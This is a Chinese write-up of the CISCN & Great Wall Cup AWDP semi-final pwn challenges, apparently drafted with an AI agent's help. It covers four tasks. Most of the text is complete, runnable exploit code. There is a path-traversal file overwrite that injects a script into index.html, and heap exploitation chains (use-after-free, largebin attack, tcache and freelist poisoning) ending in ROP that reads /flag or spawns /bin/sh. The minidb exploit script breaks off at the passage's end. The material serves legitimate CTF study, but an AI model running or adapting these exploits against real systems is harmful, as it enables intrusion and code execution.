CISCN&长城杯 半决赛awdp pwn-all-break

CISCN&长城杯 半决赛awdp pwn-all-break

本文用agent走了一遍,存在部分环境差异,供参考

UpNodeTrap

这题表面上给了一个体积很大的 ELF,可一开始就不该把精力浪费在整套 V8/Node 运行时上。用 IDA Pro看入口后可以直接确认:

  • main0x1ce47f0
  • main 只做一件事,调用 node::Start(0x8b1460)
  • node::Start 继续走 node::sea::FixupArgsForSEA(0x9d3520) 和 node::NodeMainInstance::Run(0x965db0)

也就是说,pwn 本体只是 Node v25.8.0 运行时,不是题目自定义的 native pwn 逻辑。运行时再做一次确认:

./pwn -p 'process.version'
./pwn -p 'require("node:sea").isSea()'

可以看到版本是 v25.8.0,而且 isSea()false,说明这也不是带内嵌资源的单文件 Node 应用。真正的漏洞点在外部脚本 app.js

1. 入口函数

IDA 里 _start 很干净,直接把控制流交给 main

2. main 逻辑

反编译结果等价于:

int main(int argc, char **argv, char **envp) {
    return node::Start(argc, argv, envp);
}

这一步已经足够说明:ELF 只是宿主运行时。

3. node::Start 逻辑

node::Start 内部主要做这些事:

  1. node::sea::FixupArgsForSEA
  2. InitializeOncePerProcessInternal
  3. LoadSnapshotData
  4. node::NodeMainInstance::Run

这些都是标准 Node 启动路径,没有看到题目自定义的 native bridge,也没有看到额外的危险导出。于是分析重点应当切到 app.js

JS Audit

核心逻辑在 /upload

const { filename, content } = data;
const filePath = path.join(uploadsDir, filename);
fs.writeFile(filePath, content, err => {
  ...
});

对应源码位置:

问题非常直接:filename 完全可控,而且没有做 ..、绝对路径、规范化后的目录前缀校验。

uploadsDir 是:

path.join(__dirname, 'uploads')

因此传入:

../index.html

最终落点会变成:

<challenge_dir>/index.html

而首页路由每次请求都会重新读取磁盘上的 index.html

这意味着覆盖 index.html 不需要重启,立刻生效。

Exploit
#!/usr/bin/env python3
import argparse
import json
import sys
import urllib.error
import urllib.request


DEFAULT_HTML = """<!DOCTYPE html>
<html>
<body>
<h1>pwned</h1>
<script>
fetch('/env')
  .then((r) => r.json())
  .then((d) => {
    document.body.insertAdjacentHTML(
      'beforeend',
      '<pre>' + JSON.stringify(d, null, 2) + '</pre>'
    );
  });
</script>
</body>
</html>
"""


def request(url: str, method: str = "GET", body: bytes | None = None, headers=None):
    req = urllib.request.Request(url, data=body, method=method)
    for key, value in (headers or {}).items():
        req.add_header(key, value)
    with urllib.request.urlopen(req) as resp:
        return resp.status, resp.read()


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Exploit UpNodeTrap arbitrary file write via /upload"
    )
    parser.add_argument(
        "--base",
        default="http://127.0.0.1:9999",
        help="target base URL, default: %(default)s",
    )
    parser.add_argument(
        "--dest",
        default="../index.html",
        help="path traversal destination relative to uploads/, default: %(default)s",
    )
    parser.add_argument(
        "--payload-file",
        help="read payload content from file",
    )
    parser.add_argument(
        "--content",
        help="inline payload content",
    )
    parser.add_argument(
        "--verify",
        action="store_true",
        help="GET / after upload and print the first 200 bytes",
    )
    args = parser.parse_args()

    if args.payload_file:
        with open(args.payload_file, "r", encoding="utf-8") as fp:
            content = fp.read()
    elif args.content is not None:
        content = args.content
    else:
        content = DEFAULT_HTML

    data = json.dumps({"filename": args.dest, "content": content}).encode()

    try:
        status, body = request(
            args.base.rstrip("/") + "/upload",
            method="POST",
            body=data,
            headers={"Content-Type": "application/json"},
        )
    except urllib.error.HTTPError as exc:
        print(f"[!] upload failed: HTTP {exc.code}")
        print(exc.read().decode(errors="replace"))
        return 1
    except OSError as exc:
        print(f"[!] request failed: {exc}")
        return 1

    print(f"[+] upload status: {status}")
    print(body.decode(errors="replace"))

    if args.verify:
        try:
            status, body = request(args.base.rstrip("/") + "/")
        except Exception as exc:
            print(f"[!] verification failed: {exc}")
            return 1
        print(f"[+] GET / status: {status}")
        print(body[:200].decode(errors="replace"))

    return 0


if __name__ == "__main__":
    sys.exit(main())

easy_rw_revenge

这题的核心不是 proxy,而是内部 pwn 的多阶段堆利用:

  • strcmp(MD5_raw, digest) 导致鉴权绕过
  • add(-1) 触发 free 后 malloc 失败,留下 UAF
  • largebin attack 改小块记录大小
  • tcache poisoning 造任意分配
  • 任意分配落到栈上,完成返回地址劫持
1. 题目结构

这套附件实际上分成两层:

  • proxy:监听 0.0.0.0:9999,负责一层自定义包头/XOR、认证和 cookie。
  • pwn:监听 127.0.0.1:7777,真正的堆题逻辑都在这里。

用 IDA Pro主要确认了以下函数:

  • proxy
    • 0x1ACC:认证逻辑
    • 0x1BE9:cookie 校验后转发到 127.0.0.1:7777
    • 0x1E20:包头解析、XOR 解码、按 magic 分发
  • pwn
    • 0x1509:命令解析
    • 0x1770:seccomp,只 ban 了 execve
    • 0x1869:add
    • 0x1A00:delete
    • 0x1B07:edit
    • 0x1C26:show
    • 0x1D86:单次请求处理
    • 0x263F:主循环
2. proxy 分析
2.1 自定义协议

proxy 每个包格式是:

  • 16 字节头
    • u32 magic
    • u64 xor_key
    • u32 length
  • 随后是 length 字节 body
  • body 会被 xor_key[i & 7] 异或

magic 有两种:

  • 0xffff2525:认证
  • 0x7f687985:转发
2.2 认证弱点

sub_1ACC 会:

  1. sub_1827 生成 32 字节伪随机 key。
  2. 用它初始化 RC4。
  3. 把 body 原地 RC4。
  4. 判断结果是否等于 #welcome!_c1sCn_2026

关键问题在 sub_1827

  • 每次认证都 srand(time(NULL))
  • 然后直接 rand() 生成 32 字节

这意味着外层认证不是密码学安全的,只要枚举附近秒级时间戳,就可以重建 RC4 key stream。

认证成功后:

  • 生成 32 字节 cookie
  • append 到 cookies.bin
  • 回传给客户端

转发包要求:

  • body 前 32 字节是 cookie
  • 剩余数据原样发送给内部 pwn

因此 proxy 更像一个外层包装,真正漏洞点在内部服务。

3. pwn 协议与鉴权

pwn 的协议前缀固定为:

rtsp://<username>/

后面跟命令,例如:

{add:size:index:data}
{edit:index:x:data}
{show:index:x:}
{delete:index:x:}
3.1 MD5 鉴权绕过

sub_1D86 里对用户名做 MD5 后,拿 16 字节原始摘要和常量做 strcmp

这是个典型错误:

  • MD5 原始摘要不是字符串
  • 其中一旦出现 \x00strcmp 就会提前结束

常量摘要前缀是:

64 40 00 ...

所以只要找一个用户名,使它的 MD5 前三个字节也是 64 40 00,就能绕过。

本地可用用户名:

OnkI

它的 MD5 是:

6440001ddb3fb9ab106b55f74f7dbd01
4. 堆漏洞链
4.1 add 失败后的 UAF

add 的逻辑是:

  • 如果当前槽位非空且 size > 0x500,先 free(old_ptr)
  • 然后 malloc(new_size)
  • 如果 malloc 失败,直接返回

但是它只在 malloc 成功后才更新 ptr/size

所以可以这样做:

  1. 先分配一个大块到某槽位。
  2. add:-1:<idx>:...

由于 malloc(-1) 失败:

  • 老 chunk 已经被 free
  • 但全局表里的 ptr/size 还是旧值

这就得到一个经典 UAF。

4.2 first largebin attack

全局堆表位于 .bss

  • 基址:PIE + 0x5040
  • 每项 16 字节:ptr | size
  • idx2.size 地址:PIE + 0x5068

利用目标是把小块 idx2 的记录大小从 0x100 改成一个大于 0x500 的值,这样后续 delete(idx2) 才会真的调用 free

稳定布局如下:

  1. idx0 = add(0xa00),作为父块,后续保留 UAF 视角
  2. idx1 = add(0x540),largebin 同桶辅助块
  3. idx9 = add(0x20),防止 top 合并
  4. add(-1, idx0),free 父块并保留悬挂指针
  5. idx2 = add(0x100),在父块头部拿到一个小块
  6. idx3 = add(0x550),在父块内部构造 large chunk p1
  7. idx8 = add(0x390),吃掉剩余空间
  8. delete(idx3),free p1
  9. idx4 = add(0x700),把 p1 从 unsorted 送入 largebin
  10. delete(idx1),再放一个同桶块 p2

此时通过 show(idx0) 可以从 UAF 视角看到 p1 的 four pointers:

  • +0x110fd
  • +0x118bk
  • +0x120fd_nextsize
  • +0x128bk_nextsize

bk_nextsize 改成:

(PIE + 0x5068) - 0x20

再触发一次同桶分配:

add(0x700, idx5, ...)

就能把 idx2.size 改写成一个堆地址。

4.3 变成可 double free 的小块

改完以后:

delete(idx2)

因为记录大小已经大于 0x500,这个原本的 0x110 小块会真的被 free 进 tcache。

4.4 tcache poisoning

idx0 仍然保留着对这块小 chunk 的悬挂指针,而且它自己的记录大小还是 0xa00

于是可以反复做:

  1. edit(idx0, b'\\x00' * 16),把 tcache key 清零
  2. add(-1, idx0, ...),再次 free 同一个小块,且 malloc 失败后悬挂指针仍保留

这样就能绕过 tcache double-free 检查,把同一个 chunk 多次压入 tcache。

后续流程:

  1. pop 一次,拿回原 chunk
  2. 利用 UAF 写入伪造的 safe-linking fd
  3. pop 第二次
  4. pop 第三次,落到任意目标地址
ORW 选择 sendfile

真正收口以后,没有继续走 read + write,而是换成了更短的:

open(path, 0, 0)
sendfile(1, fd, NULL, count)

原因有两个:

  • 0x100 的栈 chunk 很紧,payload 总长度必须控制在 < 0x100
  • sendfile wrapper 只需要把 fd 放进 rsi,而这正好可以用 xchg eax, esi ; ret 很短地完成

最终 ORW 关键链如下:

ret
pop rdi ; ret                  -> path
pop rsi ; ret                  -> 0
pop rcx ; ret                  -> scratch
pop rdx ; or [rcx-0xa], al ; ret -> 0
pop rax ; ret                  -> 2
syscall ; ret                  -> open
xchg eax, esi ; ret            -> rsi = fd
pop rdi ; ret                  -> 1
pop rcx ; ret                  -> scratch
pop rdx ; or [rcx-0xa], al ; ret -> 0
pop rcx ; ret                  -> count
sendfile@libc
exp
#!/usr/bin/env python3
from pwn import *

import argparse
import os
import re
import socket
import time


context.binary = ELF("./pwn", checksec=False)
context.log_level = "info"

HOST = "127.0.0.1"
PORT = 7777
USERNAME = b"OnkI"
RET_FROM_ENVIRON = 0x990

# Host-local libc gadgets validated during analysis.
POP_RDI = 0x10F78B
POP_RSI = 0x110A7D
POP_RCX = 0x0A877E
POP_RDX_SIDE = 0x0AB8A1
POP_RAX = 0x0DD237
SYSCALL = 0x098FB6
XCHG_EAX_ESI = 0x0E0F53
RET = 0x2882F

ADD_PTR_RE = re.compile(rb"ptr=(0x[0-9a-fA-F]+)")


class LocalPwn:
    def __init__(self):
        self.proc = process(["./pwn"], cwd=".")
        self.proc.recvline()
        self.proc.recvline()

        libs = self.proc.libs()
        self.pie = libs[os.path.abspath("./pwn")]
        self.libc_base = libs["/usr/lib/x86_64-linux-gnu/libc.so.6"]
        self.libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6", checksec=False)

        self.target_size = self.pie + 0x5068
        self.environ = self.libc_base + self.libc.sym["environ"]
        self.pop_rdi = self.libc_base + POP_RDI
        self.pop_rsi = self.libc_base + POP_RSI
        self.pop_rcx = self.libc_base + POP_RCX
        self.pop_rdx_side = self.libc_base + POP_RDX_SIDE
        self.pop_rax = self.libc_base + POP_RAX
        self.syscall = self.libc_base + SYSCALL
        self.xchg_eax_esi = self.libc_base + XCHG_EAX_ESI
        self.sendfile = self.libc_base + self.libc.sym["sendfile"]
        self.exit = self.libc_base + self.libc.sym["exit"]
        self.ret = self.libc_base + RET
        self.scratch = self.pie + 0x51A0 + 0xA

        self.chunk_addr = None

    def _recv_all(self, sock):
        out = b""
        sock.settimeout(0.2)
        while True:
            try:
                chunk = sock.recv(0x1000)
                if not chunk:
                    break
                out += chunk
            except Exception:
                break
        return out

    def _drain_logs(self, timeout=0.2):
        lines = []
        end = time.time() + timeout
        while time.time() < end:
            try:
                line = self.proc.recvline(timeout=0.05)
            except EOFError:
                break
            if not line:
                continue
            lines.append(line.rstrip(b"\n"))
            end = time.time() + timeout
        return lines

    def req(self, body):
        sock = socket.create_connection((HOST, PORT))
        sock.sendall(b"rtsp://" + USERNAME + b"/" + body)
        data = self._recv_all(sock)
        sock.close()
        time.sleep(0.03)
        return data, self._drain_logs()

    def add(self, size, idx, data):
        body = b"{add:" + str(size).encode() + b":" + str(idx).encode() + b":" + data + b"}"
        resp, logs = self.req(body)
        ptr = None
        for line in logs:
            m = ADD_PTR_RE.search(line)
            if m:
                ptr = int(m.group(1), 16)
        log.info(f"add(size={size}, idx={idx}) -> {resp!r} ptr={hex(ptr) if ptr else None}")
        return resp, logs, ptr

    def edit(self, idx, data):
        body = b"{edit:" + str(idx).encode() + b":x:" + data + b"}"
        resp, logs = self.req(body)
        log.info(f"edit(idx={idx}) -> {resp!r}")
        return resp, logs

    def delete(self, idx):
        body = b"{delete:" + str(idx).encode() + b":x:}"
        resp, logs = self.req(body)
        log.info(f"delete(idx={idx}) -> {resp!r}")
        return resp, logs

    def show(self, idx):
        body = b"{show:" + str(idx).encode() + b":x:}"
        resp, logs = self.req(body)
        log.info(f"show(idx={idx}) -> {len(resp)} bytes")
        return resp, logs

    def bootstrap(self):
        # largebin -> idx2.size
        self.add(0xA00, 0, b"A")
        self.add(0x540, 1, b"B")
        self.add(0x20, 9, b"G")
        self.add(-1, 0, b"Z")
        _, _, self.chunk_addr = self.add(0x100, 2, b"C" * 8)
        self.add(0x550, 3, b"D" * 8)
        self.add(0x390, 8, b"E")
        self.delete(3)
        self.add(0x700, 4, b"F")
        self.delete(1)

        blob, _ = self.show(0)
        patched = bytearray(blob)
        patched[0x128:0x130] = p64(self.target_size - 0x20)
        self.edit(0, bytes(patched[:0x130]))
        self.add(0x700, 5, b"H")
        self.delete(2)

    def heap_key(self):
        if self.chunk_addr is None:
            raise RuntimeError("bootstrap() must run first")
        return self.chunk_addr >> 12

    def poison_to_environ(self):
        heap_key = self.heap_key()

        for _ in range(2):
            self.edit(0, b"\x00" * 16)
            self.add(-1, 0, b"K")

        self.add(0x100, 6, b"L")
        env_target = self.environ - 0x18
        self.edit(0, p64(env_target ^ heap_key))
        self.add(0x100, 7, b"M")
        self.add(0x100, 1, b"PADPADP")

        leak, _ = self.show(1)
        environ_value = u64(leak[0x18:0x20])
        log.success(f"environ = {hex(environ_value)}")
        return environ_value

    def poison_to_stack(self, ret_addr):
        heap_key = self.heap_key()

        for _ in range(3):
            self.edit(0, b"\x00" * 16)
            self.add(-1, 0, b"Q")

        self.add(0x100, 6, b"R")
        stack_target = ret_addr - 0x8
        self.edit(0, p64(stack_target ^ heap_key))
        self.add(0x100, 7, b"S")
        return stack_target

    def set_rdx(self, value):
        return [self.pop_rcx, self.scratch, self.pop_rdx_side, value]

    def align(self, value, size=0x10):
        return (value + size - 1) & ~(size - 1)

    def prepare_stack_hijack(self):
        self.bootstrap()
        environ_value = self.poison_to_environ()
        ret_addr = environ_value - RET_FROM_ENVIRON
        log.success(f"saved RIP ~= {hex(ret_addr)}")
        self.poison_to_stack(ret_addr)
        return ret_addr

    def run_poc(self, message):
        ret_addr = self.prepare_stack_hijack()

        msg_off = 0xC0
        msg_addr = ret_addr - 0x8 + msg_off
        chain = flat(
            [
                self.ret,
                self.pop_rdi,
                1,
                self.pop_rsi,
                msg_addr,
                *self.set_rdx(len(message)),
                self.pop_rax,
                1,
                self.syscall,
                self.pop_rdi,
                0,
                self.exit,
            ],
            word_size=64,
        )

        payload = b"J" * 0x8 + chain
        payload = payload.ljust(msg_off, b"\x00")
        payload += message
        if len(payload) >= 0x100:
            raise ValueError("message too long for 0x100 stack chunk")

        self.add(0x100, 3, payload)
        time.sleep(0.2)
        return self.proc.recvrepeat(1.0)

    def build_orw_payload(self, ret_addr, path, count):
        base = ret_addr - 0x8
        path = path.rstrip(b"\x00") + b"\x00"
        junk = b"J" * 0x8

        placeholder = flat(
            [
                self.ret,
                self.pop_rdi,
                0,
                self.pop_rsi,
                0,
                *self.set_rdx(0),
                self.pop_rax,
                2,
                self.syscall,
                self.xchg_eax_esi,
                self.pop_rdi,
                1,
                *self.set_rdx(0),
                self.pop_rcx,
                count,
                self.sendfile,
                self.pop_rdi,
                0,
                self.exit,
            ],
            word_size=64,
        )
        path_off = self.align(len(junk) + len(placeholder))
        if path_off + len(path) >= 0x100:
            raise ValueError("path too long for 0x100 stack chunk")

        path_addr = base + path_off
        chain = flat(
            [
                self.ret,
                self.pop_rdi,
                path_addr,
                self.pop_rsi,
                0,
                *self.set_rdx(0),
                self.pop_rax,
                2,
                self.syscall,
                self.xchg_eax_esi,
                self.pop_rdi,
                1,
                *self.set_rdx(0),
                self.pop_rcx,
                count,
                self.sendfile,
                self.pop_rdi,
                0,
                self.exit,
            ],
            word_size=64,
        )

        payload = junk + chain
        payload = payload.ljust(path_off, b"\x00") + path
        return payload

    def extract_file_output(self, logs, tail):
        marker = b"[+] ADD_SUCCESS:"
        start = None
        for i, line in enumerate(logs):
            if line.startswith(marker):
                start = i + 1
        if start is None:
            return tail

        data = b"".join(line + b"\n" for line in logs[start:])
        return data + tail

    def run_orw(self, path, count=0x400):
        ret_addr = self.prepare_stack_hijack()
        payload = self.build_orw_payload(ret_addr, path, count)
        _, logs, _ = self.add(0x100, 3, payload)
        time.sleep(0.2)
        tail = self.proc.recvrepeat(1.0)
        return self.extract_file_output(logs, tail)


def main():
    parser = argparse.ArgumentParser(description="easy_rw_revenge local exploit")
    parser.add_argument(
        "--mode",
        choices=["poc", "orw"],
        default="orw",
        help="run a minimal RIP-control POC or the local ORW chain",
    )
    parser.add_argument(
        "--message",
        default="STACK_RIP_CONTROL_OK\\n",
        help="bytes to print via hijacked ROP write(1, ...)",
    )
    parser.add_argument(
        "--path",
        default="/flag",
        help="file path for --mode orw",
    )
    parser.add_argument(
        "--count",
        type=lambda x: int(x, 0),
        default=0x400,
        help="max bytes to stream in --mode orw",
    )
    args = parser.parse_args()

    tube = LocalPwn()
    if args.mode == "poc":
        out = tube.run_poc(args.message.encode())
    else:
        out = tube.run_orw(args.path.encode(), args.count)
    print(out)


if __name__ == "__main__":
    main()

broken_manager

题目信息
  • 架构: amd64
  • 保护: Full RELRO, Canary, NX, PIE
  • 交互: 标准菜单堆题

程序表面上是一个 16 项数组的增删改查,但真正的核心不在 glibc 堆,而在它自己实现的一个小型分配器。

关键函数

IDA 关键逻辑可以整理成下面几部分:

  • setup_runtime(0x1905): mmap(0x20000) 一整块可读写区域,前 0x4000 作为 sigaltstack,后面的页交给自定义 allocator 使用。
  • init_arena(0x1329): 初始化 arena,读 /dev/random 生成 4 字节 key,并预留出一个 freelist 表。
  • arena_alloc(0x14f0): 小块按 0x20 对齐,空闲链表节点只存 4 字节异或后的低位地址。
  • arena_free(0x177f): 小块释放后会把 chunk 挂回 freelist,但不会清空外部数组里的指针。
  • segv_handler(0x181f): 运行在 sigaltstack 上,打印 fault 地址,清空全局管理数组,然后直接再次调用 main

菜单相关函数很直白:

  • menu_add(0x1aad) 申请并读入内容
  • menu_delete(0x1c22) 释放指针
  • menu_show(0x1cf7) 直接 puts(ptr)
  • menu_edit(0x1da6) 按原尺寸重写内容
漏洞点

menu_delete 释放后只把 dword_5140[idx] 清零,没有把 qword_50C0[idx] 置空:

if (idx < 0x10 && qword_50C0[idx]) {
    arena_free(&unk_5060, qword_50C0[idx]);
    dword_5140[idx] = 0;
}

因此同一指针可以:

  • 被重复 free
  • 在释放后继续 show
  • 在释放后继续 edit

这就是整题的入口。

自定义 allocator 的利用方式

小块 chunk 的布局是:

[4-byte header][user data ...]

其中:

  • header 存的是 bin 大小编号,不是实际字节数
  • freelist 头结点只保存 ptr_low32 ^ key
  • 被释放 chunk 的 user data 前 4 字节会被改成下一个 freelist 节点

对应分配逻辑可以抽象成:

real_ptr = high32_base ^ freelist_head ^ key;
freelist_head = *(uint32_t *)real_ptr;

于是 double free 之后会出现一个很典型的状态:

  1. 第一次 free 后,bin head 变成 ptr ^ key
  2. 第二次 free 同一个 chunk 后,chunk 的前 4 字节也会被写成 ptr ^ key
  3. show 这个 chunk,就能直接泄露 ptr ^ key
第一阶段: 通过崩溃信息恢复 arena 地址

先对 idx=0 做一次 double free,然后 show(0) 拿到:

encoded = user_ptr ^ key

接着连续三次申请同尺寸 chunk:

  1. 第一次重新拿回原 chunk,把前 4 字节写成 0x80808080
  2. 第二次再次拿回原 chunk,此时 freelist head 被更新成 0x80808080
  3. 第三次申请时,allocator 会把它解码成一个伪造地址并返回

随后 menu_add 内部会执行:

read(0, fake_ptr, size);

这个伪造地址不可写,立即触发 SIGSEGV。而 segv_handler 会把 fault 地址打印出来:

Invalid ptr access: 0x...

这个地址实际上是:

fault = high32_base | (0x80808080 ^ key)

于是可以恢复首个可控 chunk:

user_ptr   = (fault ^ 0x80808080) ^ encoded
chunk_base = user_ptr - 4
第二阶段: 借助信号栈重入 main

setup_runtime 把前 0x4000 字节拿去做 sigaltstack。第一次崩溃后,segv_handler 并没有返回原执行流,而是直接在这个备用栈上再次调用 main

这意味着:

  • 第二轮菜单仍然可交互
  • 当前执行栈已经落在 sigaltstack
  • 栈上的返回地址槽位可以作为新的覆盖目标

同时,segv_handler 虽然清空了 allocator 的全局数组,但没有重置 qword_50A0/qword_50A8 这组大块映射游标。所以第二轮 root arena 会稳定落在下一页,和第一轮首个 chunk 相差一个 0x4000:

second_user_chunk = first_chunk_base + 0x4000 + 4

第二轮再做一次 double free,就能得到新的 encoded = second_user_chunk ^ key2,从而求出第二轮使用的 key。

第三阶段: freelist poisoning 命中 altstack 返回地址

第二轮 double free 之后,重复以下过程:

  1. 第一次取回原 chunk,把前 4 字节改成 target ^ key2
  2. 第二次取回原 chunk,令 freelist head 更新为这个伪造值
  3. 第三次申请时,直接把 chunk 指针打到目标地址

这里目标选择的是当前 sigaltstack 上的一处返回地址槽位,本地偏移稳定为:

target = first_chunk_base - 0x5e8

第三次申请成功后:

  • show(3) 可以直接把这个栈槽位当字符串输出
  • 该位置能稳定读到一个 libc 指针
  • 本题使用的 libc 中这个泄露相对基址偏移是 0x45330

于是:

libc_base = leak - 0x45330
第四阶段: 覆盖返回地址并触发 ROP

有了任意写之后,直接把目标栈槽位改成:

pop rdi ; ret
"/bin/sh"
ret
system

最后选择菜单 5 退出。第二轮 main 退出后会沿着当前 sigaltstack 上的返回链展开,落到我们改写过的位置,最终执行 system("/bin/sh")

拿 shell 后读 flag 即可。

#!/usr/bin/env python3
import os

from pwn import *


context.binary = elf = ELF("./pwn", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
context.log_level = os.getenv("LOG", "info")

HOST = args.HOST or "x.x.x.x"
PORT = int(args.PORT or 8888)

CHUNK_SIZE = 0x100
FAULT_MARKER = 0x80808080
ARENA_STRIDE = 0x4000
STACK_SLOT_DELTA = 0x5E8
LIBC_LEAK_OFFSET = 0x45330


def start():
    if args.REMOTE:
        return remote(HOST, PORT)

    root = os.path.abspath(os.path.dirname(__file__))
    return process(
        [os.path.join(root, "ld-linux-x86-64.so.2"), os.path.join(root, "pwn")],
        env={"LD_LIBRARY_PATH": root},
    )


def add(io, index, size, data=b""):
    io.sendlineafter(b">> ", b"1")
    io.sendlineafter(b"Index: ", str(index).encode())
    io.sendlineafter(b"Size: ", str(size).encode())
    io.sendafter(b"Content: ", data)


def delete(io, index):
    io.sendlineafter(b">> ", b"2")
    io.sendlineafter(b"Index: ", str(index).encode())


def show(io, index):
    io.sendlineafter(b">> ", b"3")
    io.sendlineafter(b"Index: ", str(index).encode())


def edit(io, index, data):
    io.sendlineafter(b">> ", b"4")
    io.sendlineafter(b"Index: ", str(index).encode())
    io.sendafter(b"Content: ", data)


def crash_add(io, index, size):
    io.sendlineafter(b">> ", b"1")
    io.sendlineafter(b"Index: ", str(index).encode())
    io.sendlineafter(b"Size: ", str(size).encode())


def leak_first_chunk(io):
    add(io, 0, CHUNK_SIZE, b"A" * 4)
    delete(io, 0)
    delete(io, 0)
    show(io, 0)

    encoded_next = u32(io.recvn(4))
    io.recvuntil(b"\n1. Add")

    add(io, 1, CHUNK_SIZE, p32(FAULT_MARKER))
    add(io, 2, CHUNK_SIZE, p32(FAULT_MARKER))
    # The trailing newline from the size input is enough to drive read()
    # into the forged pointer and raise SIGSEGV.
    crash_add(io, 3, CHUNK_SIZE)

    io.recvuntil(b"Invalid ptr access: 0x")
    fault_ptr = int(io.recvn(12), 16)

    first_user_chunk = (fault_ptr ^ FAULT_MARKER) ^ encoded_next
    first_chunk_base = first_user_chunk - 4

    log.info(f"encoded_next = {encoded_next:#x}")
    log.info(f"fault_ptr    = {fault_ptr:#x}")
    log.info(f"chunk_base   = {first_chunk_base:#x}")

    return first_chunk_base


def overlap_altstack(io, target_addr, second_user_chunk):
    add(io, 0, CHUNK_SIZE, b"B" * 4)
    delete(io, 0)
    delete(io, 0)
    show(io, 0)

    encoded_next = u32(io.recvn(4))
    io.recvuntil(b"\n1. Add")

    heap_key = second_user_chunk ^ encoded_next
    fake_next = (target_addr ^ heap_key) & 0xFFFFFFFF

    log.info(f"second_user  = {second_user_chunk:#x}")
    log.info(f"target_addr  = {target_addr:#x}")
    log.info(f"heap_key     = {heap_key:#x}")

    add(io, 1, CHUNK_SIZE, p32(fake_next))
    add(io, 2, CHUNK_SIZE, b"0")
    add(io, 3, CHUNK_SIZE, b"0")


def build_rop():
    rop = ROP(libc)
    pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address
    ret = rop.find_gadget(["ret"]).address
    bin_sh = next(libc.search(b"/bin/sh\x00"))
    return flat(pop_rdi, bin_sh, ret, libc.sym.system)


def main():
    io = start()

    first_chunk_base = leak_first_chunk(io)
    second_user_chunk = first_chunk_base + ARENA_STRIDE + 4
    stack_slot = first_chunk_base - STACK_SLOT_DELTA

    overlap_altstack(io, stack_slot, second_user_chunk)
    show(io, 3)

    libc_leak = u64(io.recvn(6).ljust(8, b"\x00"))
    libc.address = libc_leak - LIBC_LEAK_OFFSET

    log.info(f"libc_leak    = {libc_leak:#x}")
    log.info(f"libc_base    = {libc.address:#x}")

    edit(io, 3, build_rop())
    io.sendlineafter(b">> ", b"5")

    if args.CMD:
        io.sendline(args.CMD.encode())
        io.sendline(b"exit")
        print(io.recvrepeat(1).decode("latin-1", errors="replace"), end="")
        return

    io.interactive()


if __name__ == "__main__":
    main()

minidb

Summary

这个程序是一个带哈希桶、引用计数 value 对象和单事务缓存的迷你 KV 数据库。
真正的漏洞点不在普通 SET/GET/CLONE 上,而是在 MULTI 事务实现里:

  1. 同一个 key 在事务中被第二次 SET 时,会对旧 value 直接 free(ptr),完全绕过引用计数。
  2. 事务对象 malloc(0x38) 后不初始化,后续又会把“释放后的 tx chunk”继续当作活动事务结构使用。
  3. 事务 chunk 被 free 掉以后,后续 SET 仍然会通过 qword_4050+0x200 这根全局指针继续往这个 freed chunk 里写数据。

这几步叠在一起后,可以把一个 0x40 tcache chunk 做成稳定的 UAF,并进一步改写它的 fd,把下一次 malloc(0x30/0x38) 打到任意目标地址。

IDA 还原结果

入口 main0x1dfa,命令分发函数在 0x1bb4
核心函数通过 IDA 还原后如下:

  • 0x12e9: calc_bucket_idx,对 key 做 res = res * 33 + ch,最后 & 0x3f
  • 0x1336: make_value_obj,申请 len + 0x10,布局是:
struct value_obj {
    uint64_t refcnt;
    uint64_t len;
    char data[];
};
  • 0x1404: find_entry,在 64 个桶的单链表里按字符串精确查找。
  • 0x1468: cmd_set
  • 0x1807: cmd_clone
  • 0x1903: cmd_get
  • 0x1961: tx_start
  • 0x19cc: tx_exec
  • 0x1aad: tx_abort

数据库主结构在 qword_4050 指向的堆块里:

struct db_root {
    struct entry *buckets[0x40];   // +0x000
    struct tx_ctx *tx;             // +0x200
    uint8_t tx_active;             // +0x208
};

单个条目:

struct entry {
    char key[0x20];                // +0x00
    struct entry *next;            // +0x20
    struct value_obj *value;       // +0x28
};

事务上下文:

struct tx_ctx {
    char key[0x20];                // +0x00
    struct value_obj *old_value;   // +0x20
    struct value_obj *new_value;   // +0x28
    uint32_t dirty;                // +0x30
};
漏洞根因
1. 同 key 二次 SET 直接 free

cmd_set 里事务分支的逻辑是:

if (tx_active) {
    if (tx->dirty == 1 && !strcmp(tx->key, key))
        free(old_ptr);                     // 直接 free
    else {
        strncpy(tx->key, key, 0x1f);
        tx->old_value = old_ptr;
        tx->dirty = 1;
    }
    tx->new_value = new_value;
}
entry->value = new_value;

问题是这里没有 dec_ref(old_ptr),而是直接 free
如果这个旧 value 还被别的 key 通过 CLONE 共享,那么马上就会得到悬挂指针。

2. tx_start 完全不初始化事务对象

tx_start 只做:

qword_4050[0x200/8] = malloc(0x38);
tx_active = 1;

没有 memset
如果这块内存来自刚才释放掉的 value chunk,那么其中的 dirty / old_value / new_value / key 都会继承旧内容。

3. freed tx chunk 仍然被继续写入

只要当前事务的 tx->key 和某个 alias key 命中,就能在事务仍为 active 的情况下把 tx 本体 free 掉。
db_root->tx 这根指针不会清空,于是下一次 SET 仍然会执行:

strncpy(tx->key, user_key, 0x1f);
tx->old_value = ptr;
tx->new_value = new_value;
tx->dirty = 1;

这就是对 freed tcache chunk 的稳定写原语

利用链
  1. 创建 key a
  2. MULTI
  3. 在事务中对 a 做第一次 SET,并把未来 tx chunk 里的 dirty 预置为 1
  4. CLONE a <bucket_key>,让 <bucket_key> 指向同一块 value。
  5. 再次 SET a,直接 free 共享 value,得到 <bucket_key> 的 UAF。
  6. EXEC 结束事务,释放旧 tx 和旧 value。
  7. 新建一个普通 key,把 tcache 里前两个 0x40 chunk 消耗掉。
  8. 再次 MULTI,让刚才那块被 UAF 的 value chunk 重新作为 tx_ctx 返回。
  9. <bucket_key> 做一次 same-key SET,在 tx_active == 1 的前提下把 tx chunk 自己 free 掉。
  10. 再对另一个已存在 key 做 SET,通过 strncpy(tx->key, key, ...) 把这块 freed tx chunk 的 fd 改成目标地址的 safe-linking 编码。
  11. 连续两次 malloc(0x30/0x38) 后,下一次同尺寸分配就能落到任意地址。
#!/usr/bin/env python3
from pwn import *
import argparse
import re

context.binary = ELF("./pwn", checksec=False)
context.log_level = "info"


def parse_maps(pid: int):
    rows = []
    with open(f"/proc/{pid}/maps", "r", encoding="utf-8") as fp:
        for line in fp:
            m = re.match(
                r"([0-9a-f]+)-([0-9a-f]+)\s+\S+\s+\S+\s+\S+\s+\S*\s*(.*)",
